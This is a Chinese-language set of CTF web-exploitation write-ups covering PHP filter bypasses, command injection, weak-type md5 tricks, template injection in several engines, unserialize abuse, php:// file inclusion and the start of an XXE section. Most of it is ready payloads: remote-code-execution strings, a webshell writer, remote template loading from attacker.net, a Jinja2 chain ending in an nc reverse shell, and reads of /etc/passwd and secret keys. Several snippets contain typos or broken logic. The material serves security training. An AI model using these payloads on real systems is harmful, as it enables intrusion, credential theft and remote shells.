数字函数及其白名单和黑名单的过滤

数字函数及其白名单和黑名单的过滤

打开页面,看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

通过源码,我们可以看到eval()这个危险函数,但是也看见了正则过滤和白名单和黑名单,因此我们需要绕过这些过滤,然后在eval()中构造恶意代码,限制有:

1
2
3
4
5
6
7
1. 输入的字符串只能在80个字符以内(不包含80个字符)

2. $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
你不可以有空格、$、_、[、]、换行符、单引号、双引号

3. $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
要有这些数学函数,但是可以选一个或多个

常用数学函数:http://www.w3school.com.cn/php/php_ref_math.asp

所以我们只能使用白名单中的数学函数及其“.”和“^”等,同时字符数限制在80个以内

php语言的特点

动态函数

php中可以把函数名通过字符串的形式传递给一个变量

1
2
3
4
5
$function="sayhello";$function();

相当于

sayhello();

php中函数名默认为字符串

如白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择,下面有个例子:

在数学函数中有个is_nan()函数和tan()函数

1
2
3
4
5
6
7
8
9
10
11
<?php

$i=is_nan^(6).(4); #函数名可以作为字符串,参与异或,同时右边有两个字符,所以左边也会只取两个字符,所以相当于”is^(6).(4)“

$j=tan^(1)(5); #相当于”ta^(1)(5)“

echo $i; #结果为_G

echo $j; #结果为ET

?>

按照这两个php特性,我们可以加以利用
构造payload

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php

其中&abs=tac flag.php有空格并不影响,因为它不会参与过滤,同时分析payload

1
2
3
4
5

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) =>"5f474554"
$pi=hex2bin("5f474554") =>”$pi="_GET"“
($$pi){pi}(($$pi){abs}) => ($_GET){1}($_GET){2}

其中hex2bin()函数会将16进制转换为ascii字符串,其中为什么base_convert()是37907361743,这是我写的一个exp

1
2
3
4
5
6
7
8
9
<?php

for($i=0;$i<=1000000000;$i++){
$hex=base_convert($i,10,36);
if($hex="hex2bin"){
echo $i;
}
}
?>

当然介意百度或记住这个函数的10进制值,如果本地测试($_GET){1}(($_GET){2})建议使用7版本的phpsyudy,否则会出错

也可以用header来传,即使用getallheaders()函数

getallheaders()函数

1
getallheader()---------------------------------------获取全部HTTP请求头信息

所以我们可以构造payload

1
2
3
get提交:$pi=base_convert;$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

post提交:1=命令

分析payload

1
2
3
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})

也可以构造exec(‘cat f*’)或system(‘cat f*’)

1
2
3
4
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

当然也可以使用php语言中可以将函数名当作字符串进行异或的特性,所以我们可以写一个exp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
?>

所以可以构造payload

1
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

robots.txt文件及inval函数和md5绕过

robots文件及inval函数和md5绕过

打开页面,发现有bot文字出现,所以我们可以考虑是robots.txt文件,即访问限制的文件,构造payload

1
/robots.txt

我们可以看见

1
2
User-agent:*
Disallow:/fAke_flagggg.php

因此,我们访问/fAke_flagggg.php文件,发现flag{this_is_not_flag},然后我们刷新再抓包,发现回显的包中有一个提示

1
Look_at_me:fl4g.php

然后去访问/fl4g.php文件,发现有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

发现有三层的过滤

第一层过滤

1
2
3
4
if(intval($num)<2020 && intval($num+1)>2021){

echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}

其中intval()函数为获取变量的整数值,所以intval()函数的参数如果输入科学计数法的字符串的话,会以e前面的数字返回值,而对于科学计数法+数字的话,会返回字符串类型,本地调试

1
2
3
4
5
6
<?php
$num=3e3;
echo(intval($num));
echo('<br>');
echo(intval($num+1);
?>

这样就可以绕过这层过滤

第二层过滤

1
2
3
if($md5==md5($md5)){
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
}

可以利用php弱类型进行绕过,就是当用==对两个md5的值进行比较时,如果md5的值的前两位为0e时,hash值会为0,致使两个不同的md5值相同,不过

1
0e后面的必须是数字

所以我们可以使用

1
0e215962017

来进行绕过,然后写了一个简陋的exp来获取可以使用的数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

for($k=0;$k<=1000000000;$k++){
$i="0e".$k;
$j=substr(md5($i),0,2);
if($j=="0e"){
for($h=2;$h<strlen(md5($i));$h++){
if(substr(md5($i),$h,1)<'0' || substr(md5($i),$h,1)>'9'){
break;
}
}
echo $h;
if($h==strlen(md5($i))){
echo "0e".$k;
}
echo "<br />";
}
}

?>

第三层过滤

1
2
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);

这里过滤了空格和cat,所以,我们可以用$IFS$9来代替空格,而tac来代替cat,所以构造payload

1
num=2e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

unicode编码安全问题

unicode编码安全问题

当打开页面时,发现是一个购买的网页,然后输入id为1、2或3,然后输入price,发现显示是错误的商品,然后输入id为4,输入price为1337时,回显只能是一个字符

而后我们再看源码,发现有一个重要的信息

1
<meta charset="utf-8"><!--Ah,really important,seriously. -->

因此,我们可以想到使用unicode编码中的等价性来绕过只能输入一个字符的限制,所以我们可以在下面的网站搜索大于1337的字符

1
2
3
https://www.compart.com/en/unicode/

搜索框输入:thousands

即可查到大于1000或等于1000的字符,然后取出它的utf-8的形式,将/u改为%即可

unicode设计有许多安全的问题,详细请看

1
2
3
浅谈Unicode设计安全:https://xz.aliyun.com/t/5402

unicode等价性浅谈:https://blog.lyle.ac.cn/2018/10/29/unicode-normalization/

各类模板注入

各类模板注入

注入是格式化字符串漏洞的一种体现,其中模板注入是格式化字符串的非常好的体现,SSTI不属于任何一种语言,只要使用模板的地方就会出现SSTI漏洞

格式化字符串漏洞

格式化字符串漏洞是像printf(user_input)类似的代码实现的,其中user_input是用户输入的数据,如果Set-UID root权限开启的时,printf语句可以导致以下结果

1
2
3
4
5
使得程序崩溃

任意一块内存读取数据

修改任意一块内存里的数据

最后一种结果最危险,可以修改set-UID root程序内部变量的值,从而改变这些程序的行为

格式化字符串的形式

1
2
3
4
5
6
7
8
9
print("The magic number is:%d",1911) #结果为The magic number is:1911

print("My name is %s"%('phithon',) #结果为My name is phithon

print("My name is %(name)%"%{'name':'phithon'} #结果为My name is phithon

print("My name is {}".format('phithon') #结果为My name is phithon

print("My name is {name}".format(name='phithon') #结果为My name is phithon

其中使用format()方法来格式化字符串的其它表示形式

1
2
3
4
5
6
7
8
9
10
11
{username}".format(username='phithon') # 普通用法

{username!r}".format(username='phithon') # 等同于repr(username)

{number:0.2f}".format(number=0.5678) #等同于"%0.2f"%0.5678,保留两位小数

int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}".format(42) # 转换进制

{user.username}".format(user=request.username) #获取对象属性

{arr[2]}".format(arr=[0,1,2,3,4]) #获取数组键值

详细请看:https://www.leavesongs.com/penetration/python-string-format-vulnerability.html
https://github.com/shiyanlou/seedlab/blob/master/formatstring.md

常见的模板引擎

php常见

Smarty

Smarty算是一种比较老的PHP模板引擎,使用比较广泛

Twig

Twig是来自于Symfony的模板引擎,比较容易安装,操作有点像Mustache和liquid

Blade

Blade是Laravel提供的一个既简单又强大的模板引擎,与其它的php引擎不同的是它并不限制在视图使用原生的php代码,所有的Blade视图文件都会被编译为原生的php代码并缓存起来,除非它被修改,否则不会再被编译

java常用的

JSP

JSP部署在网络服务器上,可以响应客户端发送的请求,并根据请求生成动态的HTML、XML或其它格式的文档的web网页,然后返回给请求者

FreeMarcker

FreeMarcer是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户,而是一个java类库,是一款程序员可以嵌入他们所开发产品的组件

Velocity

Velocity可以替代java web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力

python常用的

Jinja2

flask jinja2是一种广泛使用的模板引擎

django

django是专属于自己的一个模板引擎,有好用的对象关系映射(ORM),而且它很多东西的耦合性很高

tornado

tornado也有属于自己的一套模板引擎,tornado强调的是异步非阻塞高并发

注意

1
同一种语言不同模板引擎支持的语法虽然相同,但是还是有略微的差异,比如tornado模板的render()中支持传入自定义函数以及函数的参数,然后在两个大括号{{}}中执行,但对于djanggo模板引擎来说相对难用一点

模板注入实例

原理:服务端接收用户的恶意输入后,未经过处理作为web应用模板内容的一部分,模板引擎在进行目标编译渲染时,执行了用户插入的可以破坏模板的语句,导致敏感信息泄露、代码执行或拿到shell

PHP实例

实例1

源码

1
2
3
4
5
6
7
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}"); // 将用户输入作为模版内容的一部分
echo $output;

其中{name}的大括号不是模板变量外面的括号,只是为了区别变量和字符串常量,所以可以构造

1
?name={{7*7}}

模板引擎会将此解析,结果为49

两个实例使用的都是Twig模板引擎

python实例

实例1

源码

1
2
3
4
5
6
7
8
9
10
11
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

其中代码里面使用%(request.url)是格式化字符串,所以我们只要将49放在url后面,然后它会通过render_template_string()渲染,然后进行解析,结果为49

实例2

源码

1
2
3
4
5
6
# coding: utf-8
import sys
from jinja2 importTemplate

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

代码里利用format()语句来进行格式化字符串,所以我们可以输入49,然后再经过render()来对模板变量渲染解析,结果

1
You input:49

Java实例

Sping Security OAuth RCE(CVE-2016-4977)漏洞

Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,就是当用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令

影响版本
2.0.0 to 2.0.9

1.0.0 to 1.0.5

漏洞分析

我们可以查看src/resources/application.properties的内容来获取clientid和用户密码

1
2
3
4
5
6
security.oauth2.client.clientId: acme
security.oauth2.client.clientSecret: acmesecret
security.oauth2.client.authorized-grant-types: authorization_code,refresh_token,password
security.oauth2.client.scope: openid
security.oauth2.client.registered-redirect-uri: httP;//localhost
security.user.password: password

因此,我们可以构造payload

1
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=hellotom

其中client_id为上面获取的,输入用户名user并输入上面得到的密码,
然后点击登录后,报错,发现hellotom为不法值,因此我们可以构造${2334-1},可以看到会回显信息,表达式被执行,因此有触发漏洞

思路分析

首先我们看代码可知whitelabel作为视图来返回错误页面,在看/spring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/WhitelabelErrorEndpoint.java中第18-40行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@FrameworkEndpoint
public class WhitelabelErrorEndpoint {

private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";

@RequestMapping("/oauth/error")
public ModelAndView handleError(HttpServletRequest request) {
Map<String, Object> model = new HashMap<String, Object>();
Object error = request.getAttribute("error");
// The error summary may contain malicious user input,
// it needs to be escaped to prevent XSS
String errorSummary;
if (error instanceof OAuth2Exception) {
OAuth2Exception oauthError = (OAuth2Exception) error;
errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());
}
else {
errorSummary = "Unknown error";
}
model.put("errorSummary", errorSummary);
return new ModelAndView(new SpelView(ERROR), model);
}
}

这里定义了whitelabel的处理方法,程序可以通过oauthError.getSummary()来获取错误信息,看代码

1
2
model.put("errorSummary", errorSummary);
return new ModelAndView(new SpelView(ERROR), model);

然后${2334-1}也被带入了errorSummary中,然后errorSummary被装入到model中,最后再用SpelView进行渲染,我们再看pring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java中第21-54行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class SpelView implements View {

...

public SpelView(String template) {
this.template = template;
this.context.addPropertyAccessor(new MapAccessor());
this.helper = new PropertyPlaceholderHelper("${", "}");
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {
Expression expression = parser.parseExpression(name);
Object value = expression.getValue(context);
return value == null ? null : value.toString();
}
};
}

...

public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)
throws Exception {
...
String result = helper.replacePlaceholders(template, resolver);
...
}

可以看到render通过helper取${}中的值作为表达式,再用parser.parseExpression来执行,跟进一下replacePlaceholders这个函数,在/org/springframework/util/PropertyPlaceholderHelper.class第47-56行:

1
2
3
4
5
6
7
8
public String replacePlaceholders(String value, final Properties properties) {
Assert.notNull(properties, "\'properties\' must not be null");
return this.replacePlaceholders(value, new PropertyPlaceholderHelper.PlaceholderResolver() {
public String resolvePlaceholder(String placeholderName) {
return properties.getProperty(placeholderName);
}
});
}

我们发现这个函数是个递归,如果表达式的值中有${xxx}这样形式的字符串存在,则以xxx执行,无论有多少个{},都会被去掉

首先传入了${errorSummary},然后取errorSummary为表达式进行执行,发现有${2334-1},则去掉${}后,将2334-1当作表达式执行

实例2

此漏洞是2015年blackhat大会讲述的Alfresco的一个SSTI漏洞

实例代码

1
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

结果为

1
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7) 

用法如下

1
2
3
4
5
6
<# - 创建一个用户定义的指令,调用类的参数构造函数 - >
<#assign word_wrapp =“com.acmee.freemarker.WordWrapperDirective”?new()>

<# - 创建一个用户定义的指令,用一个数字参数调用构造函数 - >
<#assign word_wrapp_narrow =“com.acmee.freemarker.WordWrapperDirective”?new(40)>

相当于调用了构造函数创建了一个对象,那么这个payload是调用了freemarker的内置执行命令的对象Excute

检测方法

原理:通过更改请求参数让含有模板引擎语法的payload,通过页面渲染返回的内容检测含有模板引擎的payload是否有被编译,有,则SSTI,无,则不存在SSTI

可以使用linux中的tplmap来进行扫描

攻击思路

可以从四个方向进行攻击

1
2
3
4
5
6
7
8
9
10
11
1.模板本身
可以考虑模板本身的语法、内置变量、属性、函数

2.框架本身
框架的全局变量、属性、函数

3.语言本身
语言本身的特性

4.应用本身
考虑应用定义的东西,需要找开源的源码

攻击方法

利用模板本身的特性进行攻击

Smarty模板

由于Smarty模板会提供安全模式,会强制执行在php安全函数白名单中的函数,所以我们在模板中无法调用php中直接执行命令的函数(相当于存在一个disable_function),但是我们可以考虑模板本身。$smarty内置变量可用于访问各种环境变量,比如我们可以使用self来得到smarty这个类中的方法

getStreamVariable()
此方法可以获取传入变量的流,即读文件

构造payload

1
{self::getStreamVariable("file:///proc/self/loginuid")}

class Smarty_Internal_Write_File
可以使用这个类的writeFile()方法来写文件,又因为这个类的第三个参数要为smarty类型,所以可以使用self::clearConfig()

因此可以构造payload

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

来写文件

其中passthru()

1
passthru — 执行外部程序并且显示原始输出

注意:高版本的smarty模板是禁用前两个函数的,所以可以考虑使用{if 代码}{/if}标签来执行php代码

Twig模板

虽然Twig框架不能使用静态方法,且所有函数的返回值都转换为字符串,所以我们不能使用self::调用静态变量,可以在官网文档查询:https://twig.symfony.com/doc/2.x/templates.html

我们可以使用_self,虽然_self没有什么方法,但是有env,env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置,它在environment.php文件中

因此,我们可以通过将缓存位置设置为远程服务器来引入远程文件包含漏洞
构造payload

1
2
{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}

但是allow_url_include一般是打不开的,无法远程包含文件,所以我们可以使用一个调用过滤器的函数getFilter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {//注意这行
return $filter;
}
}
return false;
}

public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}

由于这个函数带有call_user_func()这个危险函数,所以我们可以用exec()作为回调函数传进去,实现命令执行,因此构造payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
freeMarker模板

可以构造payload

1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

上面有格式,由于现阶段没有源码,所以无法分析

利用框架本身的特性进行攻击

Django模板

源码

1
2
3
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

注入点明显是email,但是如果我们的能力被限制得不能执行命令,但又想获得和user有关的配置信息。我们可以先看一个和user有关的变量request.user,所以我们要在没有应用源码的情况下学会寻找框架本身的属性,看框架有什么属性和类之间的引用

我们经过查找,Django自带的admin(即后台)的model.py导入了当前网站配置信息,因此我们要通过某种方式找到Django默认应用admin的model,再通过model获取settings对象,从而获取数据库账号密码及web加密密钥,构造payload

1
2
3
4
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}


http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
flask/jinja2

config是flask模板的一个全局变量,它代表了“当前配置对象(flask.config)”,它是类字典的对象,包含所有应用程序的配置值,它一般包含数据库链接字符串,连接第三方凭证,SECRET_KEY等敏感值,而且config有很多神奇的方法:

1
2
3
4
5
6
7
from_envvar

from_object

from_pyfile

root_path

我们可以利用from_pyfile和from_object来命令执行

from_pyfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def from_pyfile(self, filename, silent=False):

filename = os.path.join(self.root_path, filename)
d = types.ModuleType('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True

from_object

1
2
3
4
5
6
7
def from_object(self, obj):

if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)

from_pyfile这个方法将传入文件使用compile()这个python内置方法将其编译成字节码(.pyc),然后放到exec()函数中执行,注意最后一个参数d.__dict__,是指定exec执行的上下文,它后面调用了from_object()方法,然后

1
2
3
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)

根据上面代码可知这个方法会遍历obj的dict并且找到大写字母属性,将属性值给self[‘属性名’],因此我们可以让from_pyfile去读

1
2
from os import system
SHELL=system

此时我们可以使用config[‘SHELL’]调用system方法

因此构造payload

1
2
3
4
5
6
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL
Tornado

我们可以以护网杯的tornado为例,就是通过SSTI获取cookie_secret,通过查找开源源码,我们可以看见代码中

1
2
3
4
5
6
7
self.assertEqual(
__create_signature_v1(
hander.application.settings["cookie_secret"],
"foo",
"12345678",
timestamp,
)

可知调用hander.application.settings即可获取cookie_secret,但是有过滤

1
"%'()*-/=[\]_|

所以我们可以使用RequestHandler对象,因为我们查官方文档:https://www.tornadoweb.org/en/stable/guide/templates.html#template-syntax,发现

1
handler:当前RequestHandler对象

1
2
3
4
5
This method is called automatically when the request is finished(当请求完成后自动调用)

RequestHandler.settings

An alias for self.application.settings

因此,我们可以使用handler.settings来访问cookie_secret,构造payload

1
http://117.78.26.79:31093/error?msg={{handler.settings}}

利用模板语言本身的特性进行攻击

python语言的模板

可看:https://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/

java

java.lang包是java语言的核心,是java基础类,包含Object类、class类、string类,基本类型包装、基本的数学类等基本的类

执行命令paload

1
2
3
${T(java.lang.System).getenv()}

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

文件操作payload

1
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

SSTI详细请看:https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig

各函数过滤绕过反序列化漏洞

各函数过滤绕过反序列化漏洞

打开页面,然后进行抓包,发现有两个post提交的参数为func和p,然后再看页面的提示,我们可以猜测func是函数,而p是函数里的参数,所以我们可以在抓的包里构造post提交的两个参数

1
func=file_get_contents&p=index.php

我们可以得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

其中,我们看见call_user_func()函数,我们可以利用call_user_func()函数

知识点

call_user_func()

1
call_user_func()函数是类似于一种特别的调用函数的方法

call_user_func_array()

1
call_user_func函数是类似于一种特别的调用函数的方法,不过参数要为数组

实例

call_user_func()

1
2
3
4
5
6
7
8
9
10
<?php

Class Test{
$a=0;
function b($a){
echo $a;
}

call_user_func('b',$a);
?>

call_user_func_array()

1
2
3
4
5
6
7
8
9
10
11
<?php

Class Test{

$a=0;
function b($c){
echo $c;
}
call_user_func_array('b',array($a));
call_user_func_array(array('Test','b'),array($a));
?>

但是,我们不知道flag在哪个文件里,所以我们使用system()函数来找flag的位置,但是system()被过滤掉了,但是我们发现它只对func进行函数的检测,所以我们可以利用反序列化的方式来构造func参数的值为system()
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

$a=new Tset();
echo serialize($a);
?>

因此我们可以构造payload

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

我们便可以看到目录,找到flag所在文件后,只需构造

1
func=unseraialize&pO:4:"Test":2:{s:1:"p";s:2:"cat 文件名";s:4:"func";s:6:"system";}

可以看见flag

简单的include文件包含及php伪协议

简单的include文件包含及php伪协议

打开页面,随便按下一个选项,发现

1
/index.php?category=woofers

然后猜测是sql注入或文件包含,然后我们使用php伪协议来读取文件

1
php://filter/read=convert.base64-encode/resource=index

读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
  $file = $_GET['category'];
  
  if(isset($file))
  {
    if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ //必须含有woofers或meowers或index字符串
      include ($file . '.php'); //参数后拼接.php
    }
    else{
      echo "Sorry, we currently only support woofers and meowers.";
    }
  }
?>

所以只要输入有woofers或meowers或index就可以使用include()函数进行包含,因此使用php伪协议进行读取

1
php://filter/read=convert.base64-encode/woofers/resource=flag

Xpath注入和XXE漏洞

XXE漏洞

XML文件

XML是可扩展标记语言,是用来传输数据和存储数据

XML基本格式

1
2
3
4
5
6
7
8
9
<?xml version="1.0" ecoding="UTF-8" standalone="yes"?><!--xmL文件声明-->
